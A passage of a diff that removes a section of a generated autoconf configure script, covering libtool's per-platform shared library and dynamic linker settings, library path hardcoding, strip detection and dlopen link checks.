- wl=$lt_prog_compiler_wl
- pic_flag=$lt_prog_compiler_pic
- compiler_flags=-v
- linker_flags=-v
- verstring=
- output_objdir=.
- libname=conftest
- lt_save_allow_undefined_flag=$allow_undefined_flag
- allow_undefined_flag=
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$archive_cmds 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\""; } >&5
- (eval $archive_cmds 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }
- then
- archive_cmds_need_lc=no
- else
- archive_cmds_need_lc=yes
- fi
- allow_undefined_flag=$lt_save_allow_undefined_flag
- else
- cat conftest.err 1>&5
- fi
- $rm conftest*
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $archive_cmds_need_lc" >&5
-$as_echo "$archive_cmds_need_lc" >&6; }
- ;;
- esac
- fi
- ;;
-esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking dynamic linker characteristics" >&5
-$as_echo_n "checking dynamic linker characteristics... " >&6; }
-library_names_spec=
-libname_spec='lib$name'
-soname_spec=
-shrext_cmds=".so"
-postinstall_cmds=
-postuninstall_cmds=
-finish_cmds=
-finish_eval=
-shlibpath_var=
-shlibpath_overrides_runpath=unknown
-version_type=none
-dynamic_linker="$host_os ld.so"
-sys_lib_dlsearch_path_spec="/lib /usr/lib"
-if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then
- # if the path contains ";" then we assume it to be the separator
- # otherwise default to the standard path separator (i.e. ":") - it is
- # assumed that no part of a normal pathname contains ";" but that should
- # okay in the real world where ";" in dirpaths is itself problematic.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
-else
- sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
-fi
-need_lib_prefix=unknown
-hardcode_into_libs=no
-
-# when you set need_version to no, make sure it does not cause -set_version
-# flags to be left without arguments
-need_version=unknown
-
-case $host_os in
-aix3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
- shlibpath_var=LIBPATH
-
- # AIX 3 has no versioning support, so we append a major version to the name.
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
-
-aix4* | aix5*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- hardcode_into_libs=yes
- if test "$host_cpu" = ia64; then
- # AIX 5 supports IA64
- library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- else
- # With GCC up to 2.95.x, collect2 would create an import file
- # for dependence libraries. The import file would start with
- # the line `#! .'. This would cause the generated library to
- # depend on `.', always an invalid library. This was fixed in
- # development snapshots of GCC prior to 3.0.
- case $host_os in
- aix4 | aix4.[01] | aix4.[01].*)
- if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
- echo ' yes '
- echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then
- :
- else
- can_build_shared=no
- fi
- ;;
- esac
- # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
- # soname into executable. Probably we can add versioning support to
- # collect2, so additional links can be useful in future.
- if test "$aix_use_runtimelinking" = yes; then
- # If using run time linking (on AIX 4.2 or later) use lib<name>.so
- # instead of lib<name>.a to let people know that these are not
- # typical AIX shared libraries.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- else
- # We preserve .a as extension for shared libraries through AIX4.2
- # and later when we are not doing run time linking.
- library_names_spec='${libname}${release}.a $libname.a'
- soname_spec='${libname}${release}${shared_ext}$major'
- fi
- shlibpath_var=LIBPATH
- fi
- ;;
-
-amigaos*)
- library_names_spec='$libname.ixlibrary $libname.a'
- # Create ${libname}_ixlibrary.a entries in /sys/libs.
- finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
- ;;
-
-beos*)
- library_names_spec='${libname}${shared_ext}'
- dynamic_linker="$host_os ld.so"
- shlibpath_var=LIBRARY_PATH
- ;;
-
-bsdi[45]*)
- version_type=linux
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
- sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
- # the default ld.so.conf also contains /usr/contrib/lib and
- # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
- # libtool to hard-code these into programs
- ;;
-
-cygwin* | mingw* | pw32*)
- version_type=windows
- shrext_cmds=".dll"
- need_version=no
- need_lib_prefix=no
-
- case $GCC,$host_os in
- yes,cygwin* | yes,mingw* | yes,pw32*)
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
- dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~
- dldir=$destdir/`dirname \$dlpath`~
- test -d \$dldir || mkdir -p \$dldir~
- $install_prog $dir/$dlname \$dldir/$dlname~
- chmod a+x \$dldir/$dlname'
- postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
- dlpath=$dir/\$dldll~
- $rm \$dlpath'
- shlibpath_overrides_runpath=yes
-
- case $host_os in
- cygwin*)
- # Cygwin DLLs use 'cyg' prefix rather than 'lib'
- soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
- ;;
- mingw*)
- # MinGW DLLs use traditional 'lib' prefix
- soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then
- # It is most probably a Windows format PATH printed by
- # mingw gcc, but we are running on Cygwin. Gcc prints its search
- # path with ; separators, and with drive letters. We can handle the
- # drive letters (cygwin fileutils understands them), so leave them,
- # especially as we might pass files found there to a mingw objdump,
- # which wouldn't understand a cygwinified path. Ahh.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
- ;;
- pw32*)
- # pw32 DLLs use 'pw' prefix rather than 'lib'
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
- ;;
-
- *)
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
- ;;
- esac
- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-
-darwin* | rhapsody*)
- dynamic_linker="$host_os dyld"
- version_type=darwin
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext'
- soname_spec='${libname}${release}${major}$shared_ext'
- shlibpath_overrides_runpath=yes
- shlibpath_var=DYLD_LIBRARY_PATH
- shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
- # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
- if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
- else
- sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
- fi
- sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
- ;;
-
-dgux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-freebsd1*)
- dynamic_linker=no
- ;;
-
-kfreebsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-freebsd* | dragonfly*)
- # DragonFly does not have aout. When/if they implement a new
- # versioning mechanism, adjust this.
- if test -x /usr/bin/objformat; then
- objformat=`/usr/bin/objformat`
- else
- case $host_os in
- freebsd[123]*) objformat=aout ;;
- *) objformat=elf ;;
- esac
- fi
- version_type=freebsd-$objformat
- case $version_type in
- freebsd-elf*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- need_version=no
- need_lib_prefix=no
- ;;
- freebsd-*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
- need_version=yes
- ;;
- esac
- shlibpath_var=LD_LIBRARY_PATH
- case $host_os in
- freebsd2*)
- shlibpath_overrides_runpath=yes
- ;;
- freebsd3.[01]* | freebsdelf3.[01]*)
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- freebsd3.[2-9]* | freebsdelf3.[2-9]* | \
- freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1)
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
- freebsd*) # from 4.6 on
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- esac
- ;;
-
-gnu*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- ;;
-
-hpux9* | hpux10* | hpux11*)
- # Give a soname corresponding to the major version so that dld.sl refuses to
- # link against other versions.
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- case $host_cpu in
- ia64*)
- shrext_cmds='.so'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.so"
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- if test "X$HPUX_IA64_MODE" = X32; then
- sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
- else
- sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
- fi
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- hppa*64*)
- shrext_cmds='.sl'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- *)
- shrext_cmds='.sl'
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=SHLIB_PATH
- shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
- esac
- # HP-UX runs *really* slowly unless shared libraries are mode 555.
- postinstall_cmds='chmod 555 $lib'
- ;;
-
-interix3*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $host_os in
- nonstopux*) version_type=nonstopux ;;
- *)
- if test "$lt_cv_prog_gnu_ld" = yes; then
- version_type=linux
- else
- version_type=irix
- fi ;;
- esac
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
- case $host_os in
- irix5* | nonstopux*)
- libsuff= shlibsuff=
- ;;
- *)
- case $LD in # libtool.m4 will add one of these switches to LD
- *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
- libsuff= shlibsuff= libmagic=32-bit;;
- *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
- libsuff=32 shlibsuff=N32 libmagic=N32;;
- *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
- libsuff=64 shlibsuff=64 libmagic=64-bit;;
- *) libsuff= shlibsuff= libmagic=never-match;;
- esac
- ;;
- esac
- shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
- sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
- hardcode_into_libs=yes
- ;;
-
-# No shared lib support for Linux oldld, aout, or coff.
-linux*oldld* | linux*aout* | linux*coff*)
- dynamic_linker=no
- ;;
-
-# This must be Linux ELF.
-linux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- # This implies no fast_install, which is unacceptable.
- # Some rework will be needed to allow for fast_install
- # before this can be enabled.
- hardcode_into_libs=yes
-
- # Append ld.so.conf contents to the search path
- if test -f /etc/ld.so.conf; then
- lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
- sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
- fi
-
- # We used to test for /lib/ld.so.1 and disable shared libraries on
- # powerpc, because MkLinux only supported shared libraries with the
- # GNU dynamic linker. Since this was broken with cross compilers,
- # most powerpc-linux boxes support dynamic linking these days and
- # people can always --disable-shared, the test was removed, and we
- # assume the GNU/Linux dynamic linker is in use.
- dynamic_linker='GNU/Linux ld.so'
- ;;
-
-knetbsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-netbsd*)
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- dynamic_linker='NetBSD (a.out) ld.so'
- else
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='NetBSD ld.elf_so'
- fi
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
-
-newsos6)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-nto-qnx*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-openbsd*)
- version_type=sunos
- sys_lib_dlsearch_path_spec="/usr/lib"
- need_lib_prefix=no
- # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
- case $host_os in
- openbsd3.3 | openbsd3.3.*) need_version=yes ;;
- *) need_version=no ;;
- esac
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- case $host_os in
- openbsd2.[89] | openbsd2.[89].*)
- shlibpath_overrides_runpath=no
- ;;
- *)
- shlibpath_overrides_runpath=yes
- ;;
- esac
- else
- shlibpath_overrides_runpath=yes
- fi
- ;;
-
-os2*)
- libname_spec='$name'
- shrext_cmds=".dll"
- need_lib_prefix=no
- library_names_spec='$libname${shared_ext} $libname.a'
- dynamic_linker='OS/2 ld.exe'
- shlibpath_var=LIBPATH
- ;;
-
-osf3* | osf4* | osf5*)
- version_type=osf
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
- sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
- ;;
-
-solaris*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- # ldd complains unless libraries are executable
- postinstall_cmds='chmod +x $lib'
- ;;
-
-sunos4*)
- version_type=sunos
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- if test "$with_gnu_ld" = yes; then
- need_lib_prefix=no
- fi
- need_version=yes
- ;;
-
-sysv4 | sysv4.3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- case $host_vendor in
- sni)
- shlibpath_overrides_runpath=no
- need_lib_prefix=no
- export_dynamic_flag_spec='${wl}-Blargedynsym'
- runpath_var=LD_RUN_PATH
- ;;
- siemens)
- need_lib_prefix=no
- ;;
- motorola)
- need_lib_prefix=no
- need_version=no
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
- ;;
- esac
- ;;
-
-sysv4*MP*)
- if test -d /usr/nec ;then
- version_type=linux
- library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
- soname_spec='$libname${shared_ext}.$major'
- shlibpath_var=LD_LIBRARY_PATH
- fi
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- version_type=freebsd-elf
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- if test "$with_gnu_ld" = yes; then
- sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
- shlibpath_overrides_runpath=no
- else
- sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
- shlibpath_overrides_runpath=yes
- case $host_os in
- sco3.2v5*)
- sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
- ;;
- esac
- fi
- sys_lib_dlsearch_path_spec='/usr/lib'
- ;;
-
-uts4*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-*)
- dynamic_linker=no
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $dynamic_linker" >&5
-$as_echo "$dynamic_linker" >&6; }
-test "$dynamic_linker" = no && can_build_shared=no
-
-variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
-if test "$GCC" = yes; then
- variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to hardcode library paths into programs" >&5
-$as_echo_n "checking how to hardcode library paths into programs... " >&6; }
-hardcode_action=
-if test -n "$hardcode_libdir_flag_spec" || \
- test -n "$runpath_var" || \
- test "X$hardcode_automatic" = "Xyes" ; then
-
- # We can hardcode non-existant directories.
- if test "$hardcode_direct" != no &&
- # If the only mechanism to avoid hardcoding is shlibpath_var, we
- # have to relink, otherwise we might link with an installed library
- # when we should be linking with a yet-to-be-installed one
- ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, )" != no &&
- test "$hardcode_minus_L" != no; then
- # Linking always hardcodes the temporary library directory.
- hardcode_action=relink
- else
- # We can link without hardcoding, and we can hardcode nonexisting dirs.
- hardcode_action=immediate
- fi
-else
- # We cannot hardcode anything, or else we can only hardcode existing
- # directories.
- hardcode_action=unsupported
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $hardcode_action" >&5
-$as_echo "$hardcode_action" >&6; }
-
-if test "$hardcode_action" = relink; then
- # Fast installation is not supported
- enable_fast_install=no
-elif test "$shlibpath_overrides_runpath" = yes ||
- test "$enable_shared" = no; then
- # Fast installation is not necessary
- enable_fast_install=needless
-fi
-
-striplib=
-old_striplib=
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether stripping libraries is possible" >&5
-$as_echo_n "checking whether stripping libraries is possible... " >&6; }
-if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; then
- test -z "$old_striplib" && old_striplib="$STRIP --strip-debug"
- test -z "$striplib" && striplib="$STRIP --strip-unneeded"
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-else
-# FIXME - insert some real tests, host_os isn't really good enough
- case $host_os in
- darwin*)
- if test -n "$STRIP" ; then
- striplib="$STRIP -x"
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
- ;;
- *)
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
- ;;
- esac
-fi
-
-if test "x$enable_dlopen" != xyes; then
- enable_dlopen=unknown
- enable_dlopen_self=unknown
- enable_dlopen_self_static=unknown
-else
- lt_cv_dlopen=no
- lt_cv_dlopen_libs=
-
- case $host_os in
- beos*)
- lt_cv_dlopen="load_add_on"
- lt_cv_dlopen_libs=
- lt_cv_dlopen_self=yes
- ;;
-
- mingw* | pw32*)
- lt_cv_dlopen="LoadLibrary"
- lt_cv_dlopen_libs=
- ;;
-
- cygwin*)
- lt_cv_dlopen="dlopen"
- lt_cv_dlopen_libs=
- ;;
-
- darwin*)
- # if libdl is installed we need to link against it
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dlopen in -ldl" >&5
-$as_echo_n "checking for dlopen in -ldl... " >&6; }
-if ${ac_cv_lib_dl_dlopen+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char dlopen ();
-int
-main ()
-{
-return dlopen ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_dl_dlopen=yes
-else
- ac_cv_lib_dl_dlopen=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dl_dlopen" >&5
-$as_echo "$ac_cv_lib_dl_dlopen" >&6; }
-if test "x$ac_cv_lib_dl_dlopen" = xyes; then :
- lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"
-else
-
- lt_cv_dlopen="dyld"
- lt_cv_dlopen_libs=
- lt_cv_dlopen_self=yes
-
-fi
-
- ;;
-
- *)
- ac_fn_c_check_func "$LINENO" "shl_load" "ac_cv_func_shl_load"
-if test "x$ac_cv_func_shl_load" = xyes; then :
- lt_cv_dlopen="shl_load"
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for shl_load in -ldld" >&5
-$as_echo_n "checking for shl_load in -ldld... " >&6; }
-if ${ac_cv_lib_dld_shl_load+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldld $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char shl_load ();
-int
-main ()
-{
-return shl_load ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_dld_shl_load=yes
-else
- ac_cv_lib_dld_shl_load=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dld_shl_load" >&5
-$as_echo "$ac_cv_lib_dld_shl_load" >&6; }
-if test "x$ac_cv_lib_dld_shl_load" = xyes; then :
- lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-dld"
-else
- ac_fn_c_check_func "$LINENO" "dlopen" "ac_cv_func_dlopen"
-if test "x$ac_cv_func_dlopen" = xyes; then :
- lt_cv_dlopen="dlopen"
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dlopen in -ldl" >&5
-$as_echo_n "checking for dlopen in -ldl... " >&6; }
-if ${ac_cv_lib_dl_dlopen+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char dlopen ();
-int
-main ()
-{
-return dlopen ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_dl_dlopen=yes
-else
